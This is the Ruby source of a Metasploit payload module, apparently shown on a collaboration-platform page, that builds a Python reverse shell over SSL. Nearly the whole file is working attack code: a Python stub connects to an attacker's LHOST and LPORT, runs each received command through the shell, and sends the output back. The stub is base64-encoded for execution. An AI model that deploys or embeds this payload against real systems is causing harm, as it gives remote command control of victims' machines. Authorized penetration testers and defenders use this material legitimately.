Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6

7
module MetasploitModule
8

9
  CachedSize = :dynamic
10

11
  include Msf::Payload::Single
12
  include Msf::Payload::Python
13
  include Msf::Sessions::CommandShellOptions
14

15
  def initialize(info = {})
16
    super(merge_info(info,
17
      'Name'          => 'Command Shell, Reverse TCP SSL (via python)',
18
      'Description'   => 'Creates an interactive shell via Python, uses SSL, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.',
19
      'Author'        => 'RageLtMan <rageltman[at]sempervictus>',
20
      'License'       => BSD_LICENSE,
21
      'Platform'      => 'python',
22
      'Arch'          => ARCH_PYTHON,
23
      'Handler'       => Msf::Handler::ReverseTcpSsl,
24
      'Session'       => Msf::Sessions::CommandShell,
25
      'PayloadType'   => 'python',
26
      'Payload'       =>
27
        {
28
          'Offsets' => { },
29
          'Payload' => ''
30
        }
31
      ))
32
  end
33

34
  #
35
  # Constructs the payload
36
  #
37
  def generate(_opts = {})
38
    super + command_string
39
  end
40

41
  #
42
  # Returns the command string to use for execution
43
  #
44
  def command_string
45
    cmd = <<~PYTHON
46
      import socket as s
47
      import subprocess as r
48
      import ssl
49
      so=s.socket(s.AF_INET,s.SOCK_STREAM)
50
      so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))
51
      so=ssl.wrap_socket(so)
52
      while True:
53
      	d=so.recv(1024)
54
      	if len(d)==0:
55
      		break
56
      	p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)
57
      	o=p.stdout.read()+p.stderr.read()
58
      	so.sendall(o)
59
    PYTHON
60

61
    py_create_exec_stub(cmd)
62
  end
63
end
64

65

66